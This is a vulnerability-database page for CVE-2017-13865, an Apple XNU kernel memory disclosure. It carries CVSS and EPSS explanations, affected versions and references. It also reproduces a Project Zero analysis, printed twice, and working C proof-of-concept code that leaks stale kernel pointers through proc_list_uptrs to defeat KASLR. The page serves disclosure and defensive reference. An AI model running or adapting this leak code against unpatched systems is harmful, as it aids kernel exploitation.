CVE-2017-13865 : Detail

CVE-2017-13865

5.5
/
Medium
A01-Broken Access Control
4.82%V4
Local
2017-12-25
20h00 +00:00
2017-12-26
09h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

An issue was discovered in certain Apple products. iOS before 11.2 is affected. macOS before 10.13.2 is affected. tvOS before 11.2 is affected. watchOS before 4.2 is affected. The issue involves the "Kernel" component. It allows attackers to bypass intended memory-read restrictions via a crafted app.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 4.3 AV:N/AC:M/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 43321

Publication date : 2017-12-10 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1372 the kernel libproc API proc_list_uptrs has the following comment in it's userspace header: /* * Enumerate potential userspace pointers embedded in kernel data structures. * Currently inspects kqueues only. * * NOTE: returned "pointers" are opaque user-supplied values and thus not * guaranteed to address valid objects or be pointers at all. * * Returns the number of pointers found (which may exceed buffersize), or -1 on * failure and errno set appropriately. This is a recent addition to the kernel, presumably as a debugging tool to help enumerate places where the kernel is accidentally disclosing kernel pointers to userspace. The implementation currently enumerates kqueues and dumps a bunch of values from them. Here's the relevant code: // buffer and buffersize are attacker controlled int proc_pidlistuptrs(proc_t p, user_addr_t buffer, uint32_t buffersize, int32_t *retval) { uint32_t count = 0; int error = 0; void *kbuf = NULL; int32_t nuptrs = 0; if (buffer != USER_ADDR_NULL) { count = buffersize / sizeof(uint64_t); <---(a) if (count > MAX_UPTRS) { count = MAX_UPTRS; buffersize = count * sizeof(uint64_t); } if (count > 0) { kbuf = kalloc(buffersize); <--- (b) assert(kbuf != NULL); } } else { buffersize = 0; } nuptrs = kevent_proc_copy_uptrs(p, kbuf, buffersize); if (kbuf) { size_t copysize; if (os_mul_overflow(nuptrs, sizeof(uint64_t), &copysize)) { <--- (c) error = ERANGE; goto out; } if (copysize > buffersize) { <-- (d) copysize = buffersize; } error = copyout(kbuf, buffer, copysize); <--- (e) } At (a) the attacker-supplied buffersize is divided by 8 to compute the maximum number of uint64_t's which can fit in there. If that value isn't huge then the attacker-supplied buffersize is used to kalloc the kbuf buffer at (b). kbuf and buffersize are then passed to kevent_proc_copy_uptrs. Looking at the implementation of kevent_proc_copy_uptrs the return value is the total number of values it found, even if that value is larger than the supplied buffer. If it finds more than will fit it keeps counting but no longer writes them to the kbuf. This means that at (c) the computed copysize value doesn't reflect how many values were actually written to kbuf but how many *could* have been written had the buffer been big enough. If there were possible values which could have been written than there was space in the buffer then at (d) copysize will be limited down to buffersize. Copysize is then used at (e) to copy the contents of kbuf to userspace. The bug is that there's no enforcement that (buffersize % 8) == 0. If we were to pass a buffersize of 15, at (a) count would be 1 as 15 bytes is only enough to store 1 complete uint64_t. At (b) this would kalloc a buffer of 15 bytes. If the target pid actually had 10 possible values which kevent_proc_copy_uptrs finds then nuptrs will return 10 but it will only write to the first value to kbuf, leaving the last 7 bytes untouched. At (c) copysize will be computed at 10*8 = 80 bytes, at (d) since 80 > 15 copysize will be truncated back down to buffersize (15) and at (e) 15 bytes will be copied back to userspace even though only 8 were written to. Kalloc doesn't zero-initialise returned memory so this can be used to easily and safely disclose lots of kernel memory, albeit limited to the 7-least significant bytes of each 8-byte aligned qword. That's more than enough to easily defeat kaslr. This PoC demonstrates the disclosure of kernel pointers in the stale kalloc memory. Tested on MacOS 10.13 High Sierra (17A365) */ // ianbeer #if 0 XNU kernel memory disclosure due to bug in kernel API for detecting kernel memory disclosures the kernel libproc API proc_list_uptrs has the following comment in it's userspace header: /* * Enumerate potential userspace pointers embedded in kernel data structures. * Currently inspects kqueues only. * * NOTE: returned "pointers" are opaque user-supplied values and thus not * guaranteed to address valid objects or be pointers at all. * * Returns the number of pointers found (which may exceed buffersize), or -1 on * failure and errno set appropriately. */ This is a recent addition to the kernel, presumably as a debugging tool to help enumerate places where the kernel is accidentally disclosing kernel pointers to userspace. The implementation currently enumerates kqueues and dumps a bunch of values from them. Here's the relevant code: // buffer and buffersize are attacker controlled int proc_pidlistuptrs(proc_t p, user_addr_t buffer, uint32_t buffersize, int32_t *retval) { uint32_t count = 0; int error = 0; void *kbuf = NULL; int32_t nuptrs = 0; if (buffer != USER_ADDR_NULL) { count = buffersize / sizeof(uint64_t); <---(a) if (count > MAX_UPTRS) { count = MAX_UPTRS; buffersize = count * sizeof(uint64_t); } if (count > 0) { kbuf = kalloc(buffersize); <--- (b) assert(kbuf != NULL); } } else { buffersize = 0; } nuptrs = kevent_proc_copy_uptrs(p, kbuf, buffersize); if (kbuf) { size_t copysize; if (os_mul_overflow(nuptrs, sizeof(uint64_t), &copysize)) { <--- (c) error = ERANGE; goto out; } if (copysize > buffersize) { <-- (d) copysize = buffersize; } error = copyout(kbuf, buffer, copysize); <--- (e) } At (a) the attacker-supplied buffersize is divided by 8 to compute the maximum number of uint64_t's which can fit in there. If that value isn't huge then the attacker-supplied buffersize is used to kalloc the kbuf buffer at (b). kbuf and buffersize are then passed to kevent_proc_copy_uptrs. Looking at the implementation of kevent_proc_copy_uptrs the return value is the total number of values it found, even if that value is larger than the supplied buffer. If it finds more than will fit it keeps counting but no longer writes them to the kbuf. This means that at (c) the computed copysize value doesn't reflect how many values were actually written to kbuf but how many *could* have been written had the buffer been big enough. If there were possible values which could have been written than there was space in the buffer then at (d) copysize will be limited down to buffersize. Copysize is then used at (e) to copy the contents of kbuf to userspace. The bug is that there's no enforcement that (buffersize % 8) == 0. If we were to pass a buffersize of 15, at (a) count would be 1 as 15 bytes is only enough to store 1 complete uint64_t. At (b) this would kalloc a buffer of 15 bytes. If the target pid actually had 10 possible values which kevent_proc_copy_uptrs finds then nuptrs will return 10 but it will only write to the first value to kbuf, leaving the last 7 bytes untouched. At (c) copysize will be computed at 10*8 = 80 bytes, at (d) since 80 > 15 copysize will be truncated back down to buffersize (15) and at (e) 15 bytes will be copied back to userspace even though only 8 were written to. Kalloc doesn't zero-initialise returned memory so this can be used to easily and safely disclose lots of kernel memory, albeit limited to the 7-least significant bytes of each 8-byte aligned qword. That's more than enough to easily defeat kaslr. This PoC demonstrates the disclosure of kernel pointers in the stale kalloc memory. Tested on MacOS 10.13 High Sierra (17A365) #endif #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define PRIVATE #include <libproc.h> uint64_t try_leak(pid_t pid, int count) { size_t buf_size = (count*8)+7; char* buf = calloc(buf_size+1, 1); int err = proc_list_uptrs(pid, (void*)buf, buf_size); if (err == -1) { return 0; } // the last 7 bytes will contain the leaked data: uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc return last_val; } int main(int argc, char** argv) { for (int pid = 0; pid < 1000; pid++) { for (int i = 0; i < 100; i++) { uint64_t leak = try_leak(pid, i); /* if (leak != 0 && leak != 0x00adbeefdeadbeef) { printf("%016llx\n", leak); } */ if ((leak & 0x00ffffff00000000) == 0xffff8000000000) { printf("%016llx\n", leak); } } } return 0; }

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (excluding) 11.2

Apple>>Mac_os_x >> Version To (excluding) 10.13.2

Apple>>Tvos >> Version To (excluding) 11.2

Apple>>Watchos >> Version To (excluding) 4.2

References

https://support.apple.com/HT208331
Tags : x_refsource_CONFIRM
https://support.apple.com/HT208327
Tags : x_refsource_CONFIRM
https://support.apple.com/HT208325
Tags : x_refsource_CONFIRM
http://www.securitytracker.com/id/1039966
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securitytracker.com/id/1039953
Tags : vdb-entry, x_refsource_SECTRACK
https://support.apple.com/HT208334
Tags : x_refsource_CONFIRM
http://www.securitytracker.com/id/1039952
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/102100
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/43321/
Tags : exploit, x_refsource_EXPLOIT-DB